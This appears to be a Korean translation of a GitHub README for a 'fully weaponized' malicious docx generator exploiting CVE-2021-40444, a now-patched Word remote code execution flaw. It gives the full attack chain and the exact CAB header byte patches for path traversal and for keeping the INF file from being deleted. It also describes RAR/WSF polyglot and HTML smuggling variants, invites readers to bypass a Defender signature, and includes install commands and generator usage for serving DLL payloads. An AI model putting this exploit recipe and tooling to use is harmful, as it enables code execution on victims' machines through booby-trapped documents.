완전히 무기화된 CVE-2021-40444

CVE-2021-40444(Microsoft Office Word 원격 코드 실행)을 악용하기 위한 악성 docx 생성기로, 임의의 DLL 파일과 함께 동작합니다.

배경

인터넷에는 이미 많은 PoC가 돌아다니고 있지만, 제가 찾은 자료들은 공유할 가치가 있는 정보가 부족했기 때문에 이 취약점을 무기화하는 작업에 직접 도전해 보기로 했습니다. 또한 Microsoft는 이미 이 취약점에 대한 패치를 출시했습니다.

지금까지 완전히 작동하는 생성기를 만들기 위해 본 유일한 유용한 자료는 다음과 같습니다:

• Blog by Ret2Pwn
• Twit by j00sean

위 자료에는 전체 공격 체인을 구축하는 데 필요한 많은 요구 사항이 설명되어 있습니다. 불필요한 정보를 너무 많이 반복하지 않기 위해 관련 세부 사항만 요약하겠습니다.

공격 체인

1. Docx 열림
2. document.xml.rels에 저장된 Relationship이 악성 html을 가리킴
3. HTML 링크를 열기 위해 IE 미리 보기가 실행됨
4. HTML 내부의 JScript에는 CAB 파일을 가리키는 object와 ".cpl:" 지시문이 접두사로 붙은 INF 파일을 가리키는 iframe이 포함됨
5. cab 파일이 열리면 INF 파일이 %TEMP%\Low 디렉터리에 저장됨
6. CAB의 경로 순회(ZipSlip) 취약점으로 인해 INF를 %TEMP%에 저장할 수 있음
7. 그런 다음 ".cpl:" 지시문으로 INF 파일이 열리면서 rundll32를 통해 INF 파일(만약 DLL인 경우)의 사이드로딩이 발생함

간과된 요구 사항

이 익스플로잇이 동작하려면 상당히 많은 요구 사항이 간과되고 있는데, 이로 인해 lockedbyte의 PoC와 같은 훌륭한 PoC조차 제대로 동작하지 못했습니다.

아마도 취약점이 더 악용되는 것을 막기 위해 아무도 명시적으로 "공개"하지 않았을 것입니다. 하지만 이제 패치되었으므로 세부 사항을 공개해도 큰 문제가 되지는 않을 것입니다.

HTML 파일

Will Dormann의 이 트윗에 따르면, MS Word에서 "미리 보기"를 트리거하려면 HTML 크기가 최소 4096바이트여야 합니다.

CAB 파일

CAB 파일은 추출 오류를 방지하고 ZipSlip을 달성하기 위해 바이트 패치가 필요합니다:

• filename.inf는 ../filename.inf가 되어야 함
• filename.inf 정확히 <12자>.inf여야 함 실제로는 사실이 아님, 중요한 부분은 coffCabStart를 수정하는 것
• CFFOLDER.typeCompress 0이어야 함(압축되지 않음)
• CFFOLDER.coffCabStart는 추가된 '../'로 인해 3만큼 증가해야 함
• CFFOLDER.cCfData 2여야 함
• CFFILE.cbFile은 전체 CFHEADER.cbCabinet보다 커야 함
• CFDATA.csum 재계산(또는 0으로 설정)되어야 함 [선택 사항]

이러한 제약 조건에는 여러 가지 이유가 있으며, 모두 깊이 이해하는 데 충분한 시간을 투자하지는 않았지만 가장 중요한 것들을 살펴보겠습니다:

• TypeCompress: CAB가 압축된 경우, INF 쓰기를 트리거하기 위해 object 파일 내에서 여는 트릭이 실패할 것입니다 틀림, MSZIP 압축 샘플로도 동일한 결과를 얻을 수 있었습니다
• CoffCabStart: CoffCabStart는 첫 번째 CFDATA 구조의 절대 위치를 제공합니다. 우리가 '../'를 추가했기 때문에, 파일을 가리키도록 이 값을 3만큼 증가시켜야 합니다(추측에 가깝습니다)
• cCfData: 파일이 하나뿐이므로 CFDATA도 하나만 있어야 합니다. 왜 2로 설정해야 하는지 잘 모르겠습니다 실제로는 1로 두어도 됩니다
• cbFile: 흥미롭게도 CAB 추출이 오류 없이 완료되면 INF 파일이 WORD에 의해 삭제 대상으로 표시되어 익스플로잇이 망가집니다. 이를 방지하는 유일한 방법은 WORD가 추출에 실패했다고 믿게 만드는 것입니다. 만약 cbFile 값이 캐비닛 파일 자체보다 크게 정의되면 추출기는 cbFile에 정의된 모든 바이트를 읽기 전에 EOF에 도달하여 추출 오류를 발생시킵니다.
• [선택 사항] 이 값은 MS Word가 확인하지 않는 것으로 보입니다. 어쨌든 올바른 CAB를 만들려면 csum 값을 재계산해야 합니다. 다행히 j00sean이 지적했듯이 그리고 MS 문서에 따르면, 이 값은 0일 수 있습니다.

NOTE1: Defender는 이제 _IMAGE_DOS_HEADER.e_magic 값을 시그니처로 사용하여 CAB 파일에 PE가 포함되어 있는지 감지하므로, CAB에 PE 파일을 포함하지 못할 수 있습니다. 이 시그니처를 우회할 수 있을까요? 확실하지 않지만, 앞서 언급했듯이 이는 패치된 취약점이므로 더 많은 시간을 투자할 계획은 없습니다. 더 발전시키는 것은 궁금한 독자의 몫입니다.

NOTE2: Microsoft 패치는 임의의 URI 체계를 차단하며, 분명히 블랙리스트 방식을 사용합니다(이것은 단지 추측입니다).

DLL 공격

CVE-2021-40444과 관련된 주요 공격 체인은 .cpl URI 체계를 통해 로드되는 DLL 공격입니다. 이를 악용하려면 공격자는 특수하게 제작된 DLL을 생성해야 합니다. 직접 테스트해 보려면 제 evildll-gen 스크립트를 사용해 보세요.

JScript, VBScript, Javaw, MSIexec, ...

Max Maluin이 지적했듯이, IE와 관련 파일 확장자 기반 URI를 남용하여 여러 파일 형식과 상호 작용하는 것이 가능합니다. 이는 IE를 악용하는 좋은 방법일 수 있지만 한계가 있습니다.

실제로, 익스플로잇에서 파일을 다운로드하는 데 사용되는 방법은 ActiveX 컨트롤 업데이트에 기반하며 임의의 파일을 다운로드하는 데 사용할 수 없다는 점에 유의해야 합니다. Microsoft 문서에 따르면 codebase 태그는 OCX, INF, CAB의 몇 가지 파일 형식만 가리킬 수 있습니다.

OCX 또는 INF 파일을 직접 다운로드할 수 있더라도 시스템 내 올바른 위치에 파일을 다운로드할 수 있다고 보장할 수 없습니다. CAB 익스플로잇을 사용하면 경로 순회를 통해 .inf 파일을 잘 알려진 경로로 이동할 수 있지만, 다른 모든 경우에는 파일이 임의의 디렉터리에 저장되어 사실상 참조하는 것이 불가능합니다.

현재까지 CAB 파일 없이 다운로드와 실행을 연결하는 방법을 찾지 못했습니다.

참고: IE 단독으로 이야기하면, HTML 스머글링이 취약점을 악용할 수 있는 가능한 시나리오입니다.

하이브리드 RAR 파일을 사용하는 Cab-less 파일 공격

이 기술은 Eduardo Braun이 Twitter에서 처음 공개했으며 이 문서에서 자세히 설명되었습니다.

이 기술을 사용하면 공격 체인이 약간 다르다는 점에 유의하세요. 이 공격은 사용자가 유효한 WSF 스크립트와 유효한 RAR 파일을 연결하여 얻은 특수하게 제작된 RAR 파일을 다운로드하도록 요구합니다. 열리면 RAR에는 HTML에 대한 참조가 있는 DOCX가 포함되며, HTML은 RAR 파일을 WSF 스크립트로 로드하려고 시도합니다.

요약하면:

1. 특수하게 제작된 RAR 파일이 다운로드됩니다(대개 다운로드 폴더)
2. DOCX가 추출되어 열립니다
3. document.xml.rels에 저장된 Relationship이 악성 html을 가리킵니다
4. HTML 링크를 열기 위해 IE 미리 보기가 실행됩니다
5. HTML 내부의 JScript에는 ".wsf:" URI 체계가 접두사로 붙은 RAR 파일을 가리키는 script/iframe이 포함됩니다
6. RAR이 동시에 유효한 RAR이자 유효한 WSF 스크립트가 되도록 설계되었으므로 스크립트가 실행됩니다

이 도구에 구현된 익스플로잇 PoC

생성기 유틸리티는 현재 다음 공격을 재현할 수 있습니다:

¹일부 환경에서는 CAB가 제대로 다운로드되지 않습니다

²사용자는 IE에서 파일을 다운로드하려면 "저장"을 클릭해야 합니다

CAB 파일 파서

cab_parser.py 유틸리티는 익스플로잇 파일의 헤더를 확인하는 데 사용할 수 있지만 완전한 파서로는 간주하지 마세요. 내부에서 무슨 일이 일어나고 있는지 이해하기 위해 제가 개발한 매우 빠르고 대충 만든 CAB 헤더 뷰어입니다.

설치

생성기는 makecab 유틸리티를 사용하므로 Windows에서 작동하도록 설계되었습니다. 사용 전에 필요한 종속성을 설치해야 합니다:

• Virtualenv 사용 시

git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat 
pip install -r requirements

• Virtualenv 미사용 시

git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements

사용법

생성기는 사용하기 매우 간단하며 다양한 페이로드와 Windows 버전으로 테스트되었지만 완벽하지는 않습니다. Windows 빌드에 따라 다른 동작이 발생하고 있습니다. 공유할 세부 사항이 더 생기는 대로 여기에 게시하겠습니다.

usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]

[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]

optional arguments:
  -h, --help            show this help message and exit
  -P PAYLOAD, --payload PAYLOAD
                        DLL payload to use for the exploit
  -u URL, --url URL     Server URL for malicious references (CAB->INF)
  -o OUTPUT, --output OUTPUT
                        Output files basename (no extension)
  --host                If set, will host the payload after creation
  -c COPY_TO, --copy-to COPY_TO
                        Copy payload to an alternate path
  -nc, --no-cab         Use the CAB-less version of the exploit
  -t, --test            Open IExplorer to test the final HTML file

예제

• 원본 익스플로잇을 생성하고 로컬에서 테스트

python generator.py -u http://127.0.0.1 -P test\calc.dll --host 

참고: 포트는 URL에 의해 선택되며, 익스플로잇은 페이로드 파일 확장자를 기준으로 생성됩니다

• RAR로 CABless 익스플로잇을 생성하고 IE를 통해 로컬에서 테스트

python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t 

• HTML 스머글링으로 CABless 익스플로잇(IE 전용)을 생성하고 IE를 통해 로컬에서 테스트

python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t 

크레딧

• 멋진 블로그를 작성해 준 RET2_pwn
• 좋은 힌트를 준 j00sean
• 최초로 제대로 된 PoC를 작성해 준 lockedbyte
• 대체 URI 체계에 대한 힌트를 준 Max_Mal
• HTML 파일 크기 제한에 대한 힌트를 준 wdormann
• 멋진 CAB-less 버전의 익스플로잇을 만든 Edu_Braun_0day